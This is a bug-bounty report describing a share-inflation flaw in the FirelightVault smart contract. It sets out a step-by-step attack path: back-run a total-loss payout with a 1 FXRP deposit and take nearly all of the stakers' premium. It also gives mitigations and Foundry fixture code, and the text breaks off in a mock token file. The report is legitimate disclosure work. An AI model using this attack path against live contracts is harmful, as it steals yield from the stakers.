
[H-1] FirelightVault::deposit() mints unbounded shares against a zero-asset pool, letting a 1 FXRP deposit capture the entire period's premium from the stakers who underwrote it

Severity selected: High - *Theft of unclaimed yield* **Asset:** contracts/core/FirelightVault.sol
Requires privileged role: No. The attacker is an ordinary depositor.

Summary

After a validated incident consumes the vault in full, FirelightVault is left with `totalAssets() == 0` while `totalSupply()` is unchanged - the slash reduces the asset pool but never burns shares. In that state the share-issuance formula divides by a denominator of 1, so any deposit mints approximately $\text{assets} \times \text{totalSupply}$ shares.

`IncidentManager.approveCurrentAssessment` clears the deposit gate in the same transaction that executes the payout (`IncidentManager.sol:434-436` → `:829` → `vault.setActiveIncident(period, false)`), so deposits reopen immediately.

An attacker back-running that transaction with 1 FXRP acquires 99.99% of all shares. When the period's premium is subsequently returned to stakers through `VaultRewardDistributor.distributeRewards` (the protocol's only on-chain path for premium) the attacker receives essentially all of it. The stakers whose capital actually underwrote that period's cover receive dust.

In the PoC below the attacker turns 1 FXRP into 50,000.95 FXRP, and the underwriter who staked 1,000,000 FXRP receives 0.05 FXRP of the 50,000 FXRP premium their capital earned.

Vulnerability details

Root cause

FirelightVault.sol:1058-1065:

```
function _convertToSharesTotals(
    uint256 assets,
    uint256 totSupply,
```

```

        uint256 totAssets,
        Math.Rounding rounding
    ) private view returns (uint256) {
        return assets.mulDiv(totSupply + 10 ** _decimalsOffset(), totAssets + 1,
        ↪ rounding);
    }

```

`_decimalsOffset()` is never overridden, so it returns 0. When `totAssets == 0` the denominator collapses to 1 and the expression degenerates to:

$$\text{shares} = \text{assets} \times (\text{totalSupply} + 1)$$

There is no lower bound on the denominator and no guard on the resulting share count.

Why the existing guard does not fire

`deposit()` does contain a degenerate-share-price guard, at `FirelightVault.sol:667-669`:

```

// A dust deposit can floor to zero shares once the share price exceeds 1;
// reject it instead of pulling assets in exchange for nothing.
if (shares == 0) revert InvalidAmount();

```

The comment states the assumption precisely: it addresses the case where the share price rises **above** 1 and shares truncates downward. In the zero-asset case the share price is zero and shares explodes rather than truncating, so `shares == 0` is structurally unreachable. The guard was added as the remediation for Macro A-1 finding L-1 (commit 6806f358); it bounds one end of the degenerate-price range and leaves the other unbounded.

How the state is reached

1. A validated incident is approved. `IncidentManager._executePayout` calls `vault.payout(receiveAmount, captureTimestamp)`.
2. In `payout`, `paidAmount = Math.min(amount, Math.min(assetsAtCapturePeriod, activePayableAmount))`. When the assessed loss meets or exceeds the vault, `paidFromActive == currentActiveAssets` and `FirelightVault.sol:952` pushes a post-payout checkpoint of 0.
3. `totalAssets()` (`FirelightVault.sol:428`) now returns 0. `totalSupply()` is untouched.

-
4. Still inside `approveCurrentAssessment`, `IncidentManager.sol:436` calls `_decreaseIncident(incident.period)`, which at `IncidentManager.sol:829` calls `vault.setActiveIncident(period, false)`.
 5. `_hasActiveIncident()` (`FirelightVault.sol:1115`) checks `hasActiveIncident[currentPeriod] || hasActiveIncident[currentPeriod - 1]`. Both are now false, so `deposit()` is open in the very next transaction.

How the loss is realised

Premium is not credited per-user. `VaultRewardDistributor.distributeRewards` transfers vault asset into the vault (`VaultRewardDistributor.sol:146`) and calls `checkpointTotalAssets()` (:150). This raises `balanceOf(vault)` and therefore the redemption value of whatever shares exist at that moment. There is no per-period accrual and no record of which cohort earned the premium.

So period P's premium - earned by the capital that backed period P's cover - is distributed according to the share register *after* the slash, which the attacker now dominates.

Attack path

From the PoC (FXRP, 6 decimals):

1. **Underwriter** deposits 1,000,000 FXRP in period P. Receives $1e12$ shares. `totalAssets() == totalSupply() == 1e12`.
2. Period P closes; cover sold against that capital earned 50,000 FXRP of premium, sitting at `premiumCollector` awaiting the off-chain swap.
3. A period-P incident is assessed at or above the vault's value and approved. `payout` transfers $1e12$ out; `totalAssets() == 0, totalSupply() == 1e12`. The deposit gate clears in the same transaction.
4. **Attacker** deposits 1 FXRP ($1e6$). Share maths: $1e6 \times (1e12 + 1) \div 1 = 1,000,000,000,001,000,000$ shares. Attacker holds **9,999 bps** of supply.
5. The Distributor performs its routine premium return: `distributeRewards(50_000e6, ...)`. Vault balance becomes 50,001,000,000.
6. Redemption values:
 - Attacker: $50,000,950,000 = \mathbf{50,000.95 \text{ FXRP}}$
 - Underwriter: $50,000 = \mathbf{0.05 \text{ FXRP}}$

Net attacker profit: **49,999.95 FXRP on a 1 FXRP outlay (~50,000×)**, with no privileged role and no capital at risk beyond 1 FXRP.

Impact

Theft of unclaimed yield - listed at High on this program's published impacts.

The period's premium is yield earned by the cohort whose staked capital backed that period's cover. It is unclaimed at the time of the attack - still off-chain, awaiting the swap. The attacker captures it in full by holding shares acquired for a nominal sum after that cohort's capital was destroyed.

Victim class: **stakers whose capital was active at capturePeriodStart of the slashed period.** They lose 100% of the premium their capital earned, on top of the principal loss the slash already imposed.

Secondary: every subsequent inflow to the vault - later premium cycles, incentive distributions via `distributeIncentive`, and any recovery routed through the vault - accrues to the attacker on the same basis until the share register is corrected. There is no mechanism to correct it.

The attacker cannot induce the precondition, but a near-total loss is the scenario this protocol exists to process, not an exotic one.

Distinction from the accepted risk in Macro A-1

Macro A-1 records under Accepted Risks:

"New deposits can capture a pending reward distribution (accepted) - Because rewards are injected by raising the vault redemption value, a deposit placed just before a distribution shares in yield it did not earn... It is mitigated by the withdrawal delay and by incident risk, since the new capital cannot exit immediately and remains exposed for the period."

This finding is distinct on three counts, and Control A exists specifically to demonstrate the first:

- **Different magnitude and different root cause.** The accepted risk is proportional dilution inherent to ERC-4626 - deposit 1 FXRP into a healthy 1,000,000 FXRP vault and you receive 1/1,000,001 of the yield. Control A reproduces exactly that: the same 1 FXRP earns 49,999 units, four decimal orders below the attack. This finding is non-proportional capture caused by a zero denominator in `_convertToSharesTotals`, not by distribution timing.

-
- **Both cited mitigations are inoperative in this state.** “Remains exposed for the period” is void - the incident has already occurred and been settled. “Cannot exit immediately” is irrelevant when the capital at risk is 1 FXRP against a 50,000 FXRP capture.
 - **The economics invert.** Under the accepted risk a late depositor must commit capital proportional to what they hope to capture. Here the required capital is arbitrarily close to zero.

If triage nonetheless concludes this is covered by the accepted risk, I would ask that the zero-denominator issuance be considered on its own as the underlying defect, independent of who captures the yield.

Recommended mitigation

Minimal fix - reject issuance against a zero-asset pool, in `deposit()` and `mint()`:

```
if (totalSupply() > 0 && totalAssets() == 0) revert InvalidAmount();
```

Note that this alone leaves the vault permanently closed to deposits after a total loss, so it needs a companion recovery path - an admin-gated reset that writes off the worthless share supply before reopening.

Note on `_decimalsOffset()`: raising the virtual-share offset does **not** fix this. The offset appears in the numerator (`totSupply + 10 ** _decimalsOffset()`), so when `totAssets == 0` it increases the minted share count rather than bounding it. It defends against the donation/inflation attack, which is a different problem.

Proper fix - attribute yield to the cohort that earned it. Have `distributeRewards / distributeIncentive` credit a per-period accrual claimable only by holders with a share checkpoint at or before that period’s start, rather than raising `balanceOf(vault)` and letting the current share register decide. The vault already maintains `_traceBalanceOf` and `_traceTotalSupply` for exactly this kind of historical lookup. This also resolves the mirror-image problem where a staker who requests withdrawal retains slash exposure for up to two periods while forfeiting all yield accrued in that window.

References

- `contracts/core/FirelightVault.sol:1058-1065` - `_convertToSharesTotals`, zero-denominator issuance

-
- `contracts/core/FirelightVault.sol:667-669` - the `shares == 0` guard and its one-directional comment
 - `contracts/core/FirelightVault.sol:428` - `totalAssets()`
 - `contracts/core/FirelightVault.sol:952` - post-payout checkpoint of 0
 - `contracts/core/FirelightVault.sol:1115` - `_hasActiveIncident()`
 - `contracts/core/IncidentManager.sol:434-436` - payout closes the incident and decrements the counter
 - `contracts/core/IncidentManager.sol:829` - `setActiveIncident(period, false)` reopens deposits
 - `contracts/core/VaultRewardDistributor.sol:146,150` - premium transfer and checkpoint
-

Proof of Concept

Foundry. Uses the shared `Base.t.sol` fixture, a Solidity port of the project's own `test/setup/fixtures.js`. This PoC calls `deployVault()` and `deployRewardDistributor()`; the allocator half of the fixture is unused here and included solely so the file matches the one used across my other submissions.

The PoC calls `vault.payout` directly under `PAYOUT_ROLE` rather than driving a full incident through `IncidentManager` - the resulting vault state is identical, and step 4 of "How the state is reached" above documents that production reopens deposits in the same transaction as the payout.

test/Foundry/Base.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {Test, console2} from "forge-std/Test.sol";
import {ERC1967Proxy} from
    ↪ "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {FirelightVault} from "contracts/core/FirelightVault.sol";
import {CoverOrderAllocator} from "contracts/core/CoverOrderAllocator.sol";
import {CoverNFT} from "contracts/core/CoverNFT.sol";
import {VaultRewardDistributor} from
    ↪ "contracts/core/VaultRewardDistributor.sol";
```

```

import {ICoverOrderAllocator} from
    ↪ "contracts/core/interfaces/ICoverOrderAllocator.sol";
import {IFirelightVault} from
    ↪ "contracts/core/interfaces/IFirelightVault.sol";
import {IAggregatorV3} from "contracts/core/interfaces/IAggregatorV3.sol";

import {MockFAsset} from "./mocks/MockFAsset.sol";
import {MockERC20} from "contracts/test/MockERC20.sol";
import {MockAggregatorV3} from "contracts/test/MockAggregatorV3.sol";
import {MockCoverOrderAllocatorVault} from
    ↪ "contracts/test/MockCoverOrderAllocatorVault.sol";

/**
 * @title Base
 * @notice Solidity port of test/setup/fixtures.js - `deployVault` and
 *         `deployCoverOrderAllocator` - so the Hardhat suite and the
    ↪ Foundry suite
 *         exercise identical deployments.
 *
 * Two deliberate deviations from the JS, both noted where they matter:
 *
 * 1. Proxies are ERC1967Proxy rather than the Transparent proxies
    ↪ `upgrades.deployProxy`
 *     creates. Storage layout and delegatecall semantics are identical, and
    ↪ it removes the
 *     ProxyAdmin indirection that would otherwise make every `vm.prank`
    ↪ two-hop.
 *
 * 2. The underlying is `MockFAsset`, not the real `deployFAsset` helper -
    ↪ contracts/fasset
 *     is pragma 0.8.23 and skipped in foundry.toml. MockFAsset reproduces
 *     `FAsset.transferFrom` line for line, including the round-UP fee, and
    ↪ defaults to a
 *     zero fee so it behaves exactly like a plain ERC20 until a test opts in.
 */
abstract contract Base is Test {
    // --- config (mirrors DEFAULT_CONFIG) ---
    uint8 internal constant DECIMALS = 6;
    string internal constant UNDERLYING = "fXRP";
    string internal constant LST = "stfXRP";
    uint256 internal constant INITIAL_DEPOSIT_LIMIT = 50_000_000_000; // 50k
    ↪ tokens
    uint48 internal constant PERIOD_DURATION = 604800; // 1 week

```

```
// --- constants (mirrors the JS constants block) ---
uint256 internal constant BPS = 10_000;
uint256 internal constant LEV = 10_000;
uint256 internal constant SECS_PER_YEAR = 365 days;
string internal constant PROTOCOL_MORPHO = "Morpho";
string internal constant PROTOCOL_AAVE = "Aave";
bytes32 internal constant MARKET_A = bytes32("market-A");
bytes32 internal constant MARKET_B = bytes32("market-B");

// --- vault fixture ---
MockFAsset internal token;
FirelightVault internal vault;
address internal deployer;
address internal rescuer;
address internal blocklister;
address internal pauser;
address internal limitUpdater;
address internal periodConfigurationUpdater;
address internal payoutSigner;
address internal payoutAllowlister;
address internal payoutReceiver;
address internal incidentRole;
address internal checkpointer;
address[3] internal users;
VaultRewardDistributor internal distributor;
address internal distributorEOA;

// --- allocator fixture ---
CoverOrderAllocator internal allocator;
CoverNFT internal coverNFT;
MockCoverOrderAllocatorVault internal mockVault;
MockAggregatorV3 internal priceFeed;
MockERC20 internal usdc;
MockERC20 internal usdt;
address internal admin;
address internal curator;
address internal allocatorRole;
address internal configAdmin;
address internal adminRole;
address internal premiumCollector;
address internal firstLossBufferWallet;
address internal buyer1;
```

```

address internal buyer2;
address internal beneficiary;
bytes32 internal marketIdA;
bytes32 internal marketIdB;
bytes32 internal concHashMorpho;
bytes32 internal concHashAave;

// =====
// deployVault (port of fixtures.js::deployVault)
// =====
function deployVault() internal {
    // periodConfigurationAtTimestamp() rejects a zero epoch, and
    ↪ Foundry starts at
    // block.timestamp == 1. Warp to a realistic clock before deploying.
    if (block.timestamp < 1_700_000_000) vm.warp(1_700_000_000);

    deployer = _signer("deployer");
    rescuer = _signer("rescuer");
    blocklister = _signer("blocklister");
    pauser = _signer("pauser");
    limitUpdater = _signer("limitUpdater");
    periodConfigurationUpdater = _signer("periodConfigurationUpdater");
    users[0] = _signer("user1");
    users[1] = _signer("user2");
    users[2] = _signer("user3");

    token = new MockFAsset(UNDERLYING, UNDERLYING, DECIMALS);

    FirelightVault.InitParams memory p = FirelightVault.InitParams({
        defaultAdmin: deployer,
        limitUpdater: limitUpdater,
        blocklister: blocklister,
        pauser: pauser,
        periodConfigurationUpdater: periodConfigurationUpdater,
        rescuer: rescuer,
        depositLimit: INITIAL_DEPOSIT_LIMIT,
        periodConfigurationDuration: PERIOD_DURATION
    });

    FirelightVault impl = new FirelightVault();
    ERC1967Proxy proxy = new ERC1967Proxy(
        address(impl), abi.encodeCall(FirelightVault.initialize,
    ↪ (IERC20(address(token)), LST, LST, abi.encode(p)))

```

```

    );
    vault = FirelightVault(address(proxy));

    // Payout wiring (mirrors the JS block after deployProxy)
    payoutSigner = _signer("payoutSigner");
    payoutAllowlister = _signer("payoutAllowlister");
    payoutReceiver = _signer("payoutReceiver");
    incidentRole = _signer("incident");
    checkpointer = _signer("checkpointer");

    vm.startPrank(deployer);
    vault.grantRole(vault.PAYOUT_ROLE(), payoutSigner);
    vault.grantRole(vault.PAYOUT_ALLOWLIST_ROLE(), payoutAllowlister);
    vault.grantRole(vault.INCIDENT_ROLE(), incidentRole);
    vault.grantRole(vault.CHECKPOINT_ROLE(), checkpointer);
    vm.stopPrank();

    vm.prank(payoutAllowlister);
    vault.addToPayoutAllowlist(payoutReceiver);
}

// =====
// deployCoverOrderAllocator (port of
↪ fixtures.js::deployCoverOrderAllocator)
// =====
function deployCoverOrderAllocator() internal {
    if (block.timestamp < 1_700_000_000) vm.warp(1_700_000_000);

    admin = _signer("admin");
    curator = _signer("curator");
    allocatorRole = _signer("allocatorRole");
    configAdmin = _signer("configAdmin");
    adminRole = _signer("adminRole");
    premiumCollector = _signer("premiumCollector");
    firstLossBufferWallet = _signer("firstLossBufferWallet");
    buyer1 = _signer("buyer1");
    buyer2 = _signer("buyer2");
    beneficiary = _signer("beneficiary");

    // Mock vault - starts at currentPeriod = 1 to match production
↪ (period 0 never exists).
    // initialize() pushes the capacity-config checkpoint at
↪ effectivePeriod = 2, so tests

```

```

        // advance to period 2 before matching.
        mockVault = new MockCoverOrderAllocatorVault();
        mockVault.setCurrentPeriod(1);
        mockVault.setTotalAssets(0);
        for (uint256 i = 1; i <= 3; i++) {
            mockVault.setPeriodConfiguration(
                i, IFirelightVault.PeriodConfiguration({epoch: 0, duration:
↪ PERIOD_DURATION, startingPeriod: i})
            );
        }

        usdc = new MockERC20("MockUSDC", "mUSDC", 6);
        usdt = new MockERC20("MockUSDT", "mUSDT", 6);
        mockVault.setAsset(address(usdc));

        // $1.00, 18 decimals. Override with priceFeed.setAnswer(x) in
↪ feed-native decimals.
        priceFeed = new MockAggregatorV3(18, int256(10 ** 18));

        CoverNFT nftImpl = new CoverNFT();
        coverNFT = CoverNFT(
            address(
                new ERC1967Proxy(
                    address(nftImpl),
                    abi.encodeCall(
                        CoverNFT.initialize,
                        ("Firelight Cover", "FLCOVER", "", admin,
↪ address(this), address(0), address(0))
                    )
                )
            )
        );

        ICoverOrderAllocator.Market[] memory markets = new
↪ ICoverOrderAllocator.Market[](2);
        markets[0] = ICoverOrderAllocator.Market({chainId: 1, protocol:
↪ PROTOCOL_MORPHO, market: MARKET_A});
        markets[1] = ICoverOrderAllocator.Market({chainId: 10, protocol:
↪ PROTOCOL_AAVE, market: MARKET_B});

        ICoverOrderAllocator.ProtocolConcentrationInput[] memory concs =
            new ICoverOrderAllocator.ProtocolConcentrationInput[](2);
        concs[0] = ICoverOrderAllocator.ProtocolConcentrationInput({

```

```

        chainId: 1, protocol: PROTOCOL_MORPHO,
↪ maxProtocolConcentrationBps: 6000
    });
    concs[1] = ICoverOrderAllocator.ProtocolConcentrationInput({
        chainId: 10, protocol: PROTOCOL_AAVE,
↪ maxProtocolConcentrationBps: 4000
    });

    address[] memory premiumTokens = new address[](2);
    premiumTokens[0] = address(usdc);
    premiumTokens[1] = address(usdt);

    ICoverOrderAllocator.InitParams memory ip =
↪ ICoverOrderAllocator.InitParams({
        vault: IFirelightVault(address(mockVault)),
        premiumCollector: premiumCollector,
        coverNFT: coverNFT,
        priceFeedAdapter: IAggregatorV3(address(priceFeed)),
        maxPriceAge: 7 days,
        premiumTokens: premiumTokens,
        admin: admin,
        adminRole: adminRole,
        curatorRole: curator,
        allocatorRole: allocatorRole,
        configAdminRole: configAdmin,
        initialProtocolConcentrations: concs,
        newMarkets: markets,
        capacityConfig: ICoverOrderAllocator.CapacityConfig({
            minCAR: 12000, // 1.2x, the MIN_CAR_BPS floor
            firstLossBufferToken: IERC20(address(usdc)),
            firstLossBuffer: firstLossBufferWallet,
            effectiveLeverage: 24000, // 2.0x multiplier (24000/12000)
            minOrderMarketCoverAmount: 1,
            divergenceToleranceBps: 0
        })
    });

    CoverOrderAllocator aImpl = new CoverOrderAllocator();
    allocator = CoverOrderAllocator(
        address(new ERC1967Proxy(address(aImpl),
↪ abi.encodeCall(CoverOrderAllocator.initialize, (ip))))
    );

```

```

    // Same prank-consumption trap as above: cache the role first.
    bytes32 minterRole = coverNFT.MINTER_ROLE();
    vm.prank(admin);
    coverNFT.grantRole(minterRole, address(allocator));

    marketIdA = computeMarketId(1, PROTOCOL_MORPHO, MARKET_A);
    marketIdB = computeMarketId(10, PROTOCOL_AAVE, MARKET_B);
    concHashMorpho = computeProtocolConcentrationHash(1,
↪ PROTOCOL_MORPHO);
    concHashAave = computeProtocolConcentrationHash(10, PROTOCOL_AAVE);
}

// =====
// deployFullStack - allocator wired to the REAL vault
// =====
/**
 * @dev `deployCoverOrderAllocator()` points the allocator at
↪ `MockCoverOrderAllocatorVault`,
 * which returns hardcoded values and cannot execute a real
↪ `payout`. Anything that
 * tests the *interaction* between vault state and allocator
↪ capacity needs the real
 * vault instead.
 *
 * `FirelightVault` does not inherit `IFirelightVault`, but every
↪ selector the allocator
 * calls matches, so the interface cast resolves at runtime. (Struct
↪ nominal typing only
 * binds at compile time; through an interface it is a plain ABI
↪ call.)
 *
 * Capacity is deliberately isolated to the vault leg: the
↪ first-loss buffer wallet is
 * left at zero balance, so `_computeAvailableCapacity` reduces to
 * `totalAssetsAt(periodStart) * 1e12 * effectiveLeverage / minCAR`.
 *
 * Call after `deployVault()`.
 */
function deployFullStack() internal {
    admin = _signer("admin");
    curator = _signer("curator");
    allocatorRole = _signer("allocatorRole");
    configAdmin = _signer("configAdmin");

```

```

    adminRole = _signer("adminRole");
    premiumCollector = _signer("premiumCollector");
    firstLossBufferWallet = _signer("firstLossBufferWallet");
    buyer1 = _signer("buyer1");
    buyer2 = _signer("buyer2");
    beneficiary = _signer("beneficiary");

    usdc = new MockERC20("MockUSDC", "mUSDC", 6);
    priceFeed = new MockAggregatorV3(18, int256(10 ** 18)); // $1.00

    CoverNFT nftImpl = new CoverNFT();
    coverNFT = CoverNFT(
        address(
            new ERC1967Proxy(
                address(nftImpl),
                abi.encodeCall(
                    CoverNFT.initialize,
                    ("Firelight Cover", "FLCOVER", "", admin,
↪ address(this), address(0), address(0))
                )
            )
        )
    );

    ICoverOrderAllocator.Market[] memory markets = new
↪ ICoverOrderAllocator.Market[](1);
    markets[0] = ICoverOrderAllocator.Market({chainId: 1, protocol:
↪ PROTOCOL_MORPHO, market: MARKET_A});

    ICoverOrderAllocator.ProtocolConcentrationInput[] memory concs =
        new ICoverOrderAllocator.ProtocolConcentrationInput[](1);
    concs[0] = ICoverOrderAllocator.ProtocolConcentrationInput({
        chainId: 1, protocol: PROTOCOL_MORPHO,
↪ maxProtocolConcentrationBps: 10000
    });

    address[] memory premiumTokens = new address[](1);
    premiumTokens[0] = address(usdc);

    ICoverOrderAllocator.InitParams memory ip =
↪ ICoverOrderAllocator.InitParams({
        vault: IFirelightVault(address(vault)), // THE REAL VAULT
        premiumCollector: premiumCollector,

```

```

        coverNFT: coverNFT,
        priceFeedAdapter: IAggregatorV3(address(priceFeed)),
        maxPriceAge: 7 days,
        premiumTokens: premiumTokens,
        admin: admin,
        adminRole: adminRole,
        curatorRole: curator,
        allocatorRole: allocatorRole,
        configAdminRole: configAdmin,
        initialProtocolConcentrations: concs,
        newMarkets: markets,
        capacityConfig: ICoverOrderAllocator.CapacityConfig({
            minCAR: 12000,
            firstLossBufferToken: IERC20(address(usdc)),
            firstLossBuffer: firstLossBufferWallet, // left at ZERO
↪ balance
            effectiveLeverage: 24000, // 2.0x multiplier
            minOrderMarketCoverAmount: 1,
            divergenceToleranceBps: 0
        })
    });

    CoverOrderAllocator aImpl = new CoverOrderAllocator();
    allocator = CoverOrderAllocator(
        address(new ERC1967Proxy(address(aImpl),
↪ abi.encodeCall(CoverOrderAllocator.initialize, (ip))))
    );

    bytes32 minterRole = coverNFT.MINTER_ROLE();
    vm.prank(admin);
    coverNFT.grantRole(minterRole, address(allocator));

    marketIdA = computeMarketId(1, PROTOCOL_MORPHO, MARKET_A);
    concHashMorpho = computeProtocolConcentrationHash(1,
↪ PROTOCOL_MORPHO);
}

/// @dev MockAggregatorV3 pins `updatedAt` at construction, so any
↪ `vm.warp` past
///      `maxPriceAge` (7 days here) makes `PriceFeed.getPrice` revert
↪ `PriceFeedTooOld`.
///      Call before any commit/recommit that follows a warp.
function refreshPriceFeed() internal {

```

```

        priceFeed.setUpdatedAt(block.timestamp);
    }

    /// @dev Capacity the allocator will compute, replicating
    ↪ `_computeAvailableCapacity`
    ///         with a zero first-loss buffer and a $1.00 / 18-decimal feed.
    function expectedCapacity(uint256 vaultAssets6dp) internal pure returns
    ↪ (uint256) {
        return (vaultAssets6dp * 10 ** 12) * 24000 / 12000;
    }

    // =====
    // Helpers (ports of the JS utility closures)
    // =====

    /// @dev fixtures.js::utils.mintAndApprove
    function mintAndApprove(uint256 amount, address user) internal {
        token.mintTo(user, amount);
        vm.prank(user);
        token.approve(address(vault), amount);
    }

    /**
     * @dev Wires the real `VaultRewardDistributor` - the protocol's ONLY
    ↪ on-chain path for
     *         returning premium to stakers. Premiums are collected in a premium
    ↪ token, swapped
     *         off-chain, and pushed back in as vault asset; the distributor
    ↪ then calls
     *         `checkpointTotalAssets()`, which is why the DISTRIBUTOR CONTRACT
    ↪ (not the EOA)
     *         needs CHECKPOINT_ROLE on the vault.
     *
     *         `distributeRewards` pulls with `safeTransferFrom(msg.sender,
    ↪ vault, amount)`, so
     *         the EOA holding DISTRIBUTOR_ROLE must hold the asset and approve
    ↪ the distributor.
     *
     *         Call after `deployVault()`.
    */
    function deployRewardDistributor() internal {
        distributorEOA = _signer("distributorEOA");
    }

```

```

VaultRewardDistributor dImpl = new VaultRewardDistributor();
distributor = VaultRewardDistributor(
    address(
        new ERC1967Proxy(
            address(dImpl),
            abi.encodeCall(
                VaultRewardDistributor.initialize,
                (IFirelightVault(address(vault)), deployer,
↪ distributorEOA, address(0))
            )
        )
    )
);

    // NOTE: cache the role BEFORE vm.prank. `vault.CHECKPOINT_ROLE()`
↪ is an external
    // staticcall, Solidity evaluates arguments before the call, and
↪ vm.prank applies to
    // the NEXT call only - so inlining it consumes the prank and
↪ grantRole runs as the
    // test contract, reverting AccessControlUnauthorizedAccount(<test>,
↪ DEFAULT_ADMIN_ROLE).
    bytes32 checkpointRole = vault.CHECKPOINT_ROLE();
    vm.prank(deployer);
    vault.grantRole(checkpointRole, address(distributor));
}

/// @dev Push `amount` of vault asset in as period premium, exactly as
↪ production does.
function distributePremium(uint256 amount) internal {
    token.mintTo(distributorEOA, amount);
    vm.startPrank(distributorEOA);
    token.approve(address(distributor), amount);
    distributor.distributeRewards(amount, address(token), amount,
↪ uint48(block.timestamp));
    vm.stopPrank();
}

/**
 * @dev The fixture keeps `fixtures.js`'s 50,000-token deposit limit
↪ (5e10 at 6 decimals).
 * That is small enough that most PoCs trip `DepositLimitExceeded`
↪ before reaching

```

```

    *      the behaviour under test - `_depositFunds` checks `totalAssets()
↪ + assets > depositLimit`.
    *      Raise it through the real `DEPOSIT_LIMIT_UPDATE_ROLE` rather
↪ than editing the fixture,
    *      so the deployment stays identical to the Hardhat suite.
    *
    *      1e15 == 1 billion tokens: ample headroom, and small enough that
    *      `convertToShares(depositLimit)` inside `maxMint` cannot overflow
↪ `mulDiv`.
    */
function raiseDepositLimit() internal {
    raiseDepositLimit(1_000_000_000e6);
}

function raiseDepositLimit(uint256 newLimit) internal {
    vm.prank(limitUpdater);
    vault.updateDepositLimit(newLimit);
}

/// @dev fixtures.js::fundAndApprove
function fundAndApprove(address buyer, MockERC20 t, uint256 amount)
↪ internal {
    t.mint(buyer, amount);
    vm.prank(buyer);
    t.approve(address(allocator), amount);
}

/// @dev fixtures.js::advanceToPeriod (mock vault only)
function advanceToPeriod(uint256 p) internal {
    mockVault.setCurrentPeriod(p);
}

/// @dev Advance the REAL vault by whole periods.
function warpPeriods(uint256 n) internal {
    vm.warp(block.timestamp + n * PERIOD_DURATION);
}

/**
 * @dev Timestamp at which `period` begins, for the real vault.
 *
 * NOTE the type. `PeriodConfiguration` is declared TWICE in this
↪ codebase -

```

```

    * `FirelightVaultStorage.sol:51` and `IFirelightVault.sol:33` - and
↪ they are distinct
    * nominal types. `FirelightVault` inherits FirelightVaultStorage and
↪ does NOT implement
    * IFirelightVault, so this getter returns the STORAGE struct. Using the
↪ interface struct
    * here fails with "not implicitly convertible".
    *
    * Conversely `MockCoverOrderAllocatorVault` is IFirelightVault`, so its
    * `setPeriodConfiguration` takes the INTERFACE struct. Both spellings
↪ are correct in
    * their own place; do not unify them.
    *
    * For the current period prefer `vault.currentPeriodStart()`, which
↪ needs no struct.
    */
    function periodStart(uint256 period) internal view returns (uint48) {
        FirelightVault.PeriodConfiguration memory c =
↪ vault.periodConfigurationAtNumber(period);
        return uint48(c.epoch + (period - c.startingPeriod) * c.duration);
    }

    /// @dev fixtures.js::computeMarketId
    function computeMarketId(uint64 chainId, string memory protocol, bytes32
↪ market) internal pure returns (bytes32) {
        return keccak256(abi.encode(chainId, protocol, market));
    }

    /// @dev fixtures.js::computeProtocolConcentrationHash
    function computeProtocolConcentrationHash(uint64 chainId, string memory
↪ protocol) internal pure returns (bytes32) {
        return keccak256(abi.encode(chainId, protocol));
    }

    /**
    * @dev Leaf encoding used by `_settleCoverOrder`: OZ StandardMerkleTree
↪ double-hashing.
    * For a SINGLE-order tree the root IS the leaf and the proof is
↪ empty, which is all
    * most PoCs need. Multi-order trees need a real tree builder.
    */
    function settleLeaf(uint256 orderId,
↪ ICoverOrderAllocator.MarketCoverAllocation[] memory allocs)

```

```

        internal
        pure
        returns (bytes32)
    {
        return keccak256(bytes.concat(keccak256(abi.encode(orderId,
↪ allocs))));
    }

    /// @dev Two-leaf tree, sorted-pair hashing (OZ MerkleProof convention).
    function merkleRoot2(bytes32 a, bytes32 b) internal pure returns
↪ (bytes32) {
        return a < b ? keccak256(abi.encode(a, b)) : keccak256(abi.encode(b,
↪ a));
    }

    /// @dev Funded EOA, replacing the JS `randomSigner()`.
    function _signer(string memory label) internal returns (address a) {
        a = makeAddr(label);
        vm.deal(a, 1000 ether);
    }

    /// @dev Single-market allocation array, the shape most PoCs want.
    function oneMarket(bytes32 marketId, uint256 amount)
        internal
        pure
        returns (ICoverOrderAllocator.MarketCoverAllocation[] memory arr)
    {
        arr = new ICoverOrderAllocator.MarketCoverAllocation[](1);
        arr[0] = ICoverOrderAllocator.MarketCoverAllocation({marketId:
↪ marketId, allocatedCover: amount});
    }

    function oneMarketInput(bytes32 marketId, uint32 rateAnnual, uint256
↪ amount)
        internal
        pure
        returns (ICoverOrderAllocator.MarketAllocationInput[] memory arr)
    {
        arr = new ICoverOrderAllocator.MarketAllocationInput[](1);
        arr[0] = ICoverOrderAllocator.MarketAllocationInput({
            marketId: marketId, coverRateAnnual: rateAnnual, coverAmount:
↪ amount
        });
    }

```

```
    }  
}
```

test/Foundry/mocks/MockFAsset.sol

```
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.28;  
  
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";  
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";  
  
/// Replica of contracts/fasset/fassetToken/implementation/FAsset.sol, which  
↪ is pragma  
/// 0.8.23 and skipped in foundry.toml. The transfer fee defaults to zero,  
↪ so this behaves  
/// as a plain ERC20 throughout this PoC.  
contract MockFAsset is ERC20 {  
    uint8    private immutable _decimals;  
    uint256 public  transferFeeMillionths;  
    address public  feeCollector = address(0xFEE);  
  
    constructor(string memory n, string memory s, uint8 d) ERC20(n, s) {  
↪ _decimals = d; }  
  
    function decimals() public view override returns (uint8) { return  
↪ _decimals; }  
    function setTransferFeeMillionths(uint256 v) external {  
↪ transferFeeMillionths = v; }  
    function mintTo(address to, uint256 amount) external { _mint(to,  
↪ amount); }  
    function mint(address to, uint256 amount)    external { _mint(to,  
↪ amount); }  
  
    function _transferFeeAmount(uint256 amount) public view returns  
↪ (uint256) {  
        if (transferFeeMillionths == 0) return 0;  
        return Math.mulDiv(amount, transferFeeMillionths, 1_000_000,  
↪ Math.Rounding.Ceil);  
    }  
  
    function transfer(address to, uint256 amount) public override returns  
↪ (bool) {  
        uint256 fee = _transferFeeAmount(amount);  
        _transfer(_msgSender(), to, amount - fee);  
    }  
}
```

```

        if (fee > 0) _transfer(_msgSender(), feeCollector, fee);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public
↳   override returns (bool) {
        _spendAllowance(from, _msgSender(), amount);
        uint256 fee = _transferFeeAmount(amount);
        _transfer(from, to, amount - fee);
